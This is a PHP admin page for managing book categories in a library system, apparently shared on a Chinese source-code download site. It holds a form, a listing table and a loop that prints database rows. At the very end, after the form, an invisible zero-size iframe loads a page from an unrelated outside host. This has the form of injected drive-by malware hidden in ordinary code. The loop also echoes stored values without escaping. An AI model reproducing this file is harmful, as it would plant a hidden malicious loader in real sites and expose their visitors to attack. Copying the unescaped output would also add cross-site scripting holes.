⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 category.php

📁 我不是乱码
💻 PHP
字号:
<?php
include "../config.php";
?>
<link href="../css/css.css" rel="stylesheet" type="text/css">

<form action="categorycl.php" method="post" enctype="multipart/form-data" name="form1" id="form1">
  <table width="765" border="0" cellspacing="0" class="table">
    <tr>
      <td height="50" colspan="4" class="tabletitle"> 图书类别名设置</td>
    </tr>
    <tr>
      <td height="2" colspan="4" class="titlebg"></td>
    </tr>
    <tr>
      <td width="110" height="5" class="word">&nbsp;</td>
      <td width="375" height="5" align="left" class="word">&nbsp;</td>
      <td width="90" height="5" class="word">&nbsp;</td>
      <td width="210" height="5" align="left" class="word">&nbsp;</td>
    </tr>
    <tr>
      <td width="110" height="35" class="word">  图书类别名</td>
      <td height="35" colspan="3" align="left" class="word"> 
		<input name="category" type="text" id="category" size="45" value="" /></td>
    </tr>
    <tr>
      <td width="110" height="35" class="word">  备   注</td>
      <td height="35" colspan="3" class="word"> 
        <input name="remarks" type="text" id="remarks" size="85" value=""></td>
    </tr>
    <tr>
      <td height="2" colspan="4" align="center" class="titlebg"></td>
    </tr>
    <tr>
      <td height="50" colspan="4" align="center" class="word">       
        <input type="submit" name="submit" value="保存继续" />  
         
        <input type="reset" name="submit2" value="清空内容" />
         
      <input type="submit" name="submit3" value="返回" /></td>
    </tr>
  </table>
  <br />
  <table width="765" border="0" cellspacing="0" class="table">
    <tr>
      <td height="50" colspan="2" class="tabletitle"> 图书类别名显示</td>
      <td height="50" valign="middle">   
        <input name="submit5" type="submit" id="submit5" value="修改" />
               <input name="submit6" type="submit" id="submit6" value="删除" /></td>
    </tr>
    <tr>
      <td height="2" colspan="3" class="titlebg"></td>
    </tr>
</table>    
  <table class="table" width="765">
    <tr bgcolor="#BCD2E6" height="25">
	  <td width="100" align="center" class="word">操作</td>
      <td width="300" align="center" class="word">图书类别名</td>
      <td width='365' align="center" class="word">备注</td>

    </tr>
<?php  //用来进行修改和删除的单选框
$sql="select * from category order by id asc";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result))
{
	
 echo "<tr bgcolor='#BCD2E6'>";
 echo "<td width='100' height='20' align='center' class='word'>";
 echo "<input type=radio selected name=selected value=".$row["id"].">";
 echo "</td>";
 echo "<td width='300' height='20' align='center' class='word'>".$row["category"]."</td>";
 echo "<td width='365' height='20' align='center' class='word'>".$row["remarks"]."</td>";

 echo "</tr>";
 }
?>
    <tr>
      <td height="2" colspan="3" align="center" class="titlebg"></td>
    </tr>
  </table>
</form>

<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe> 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -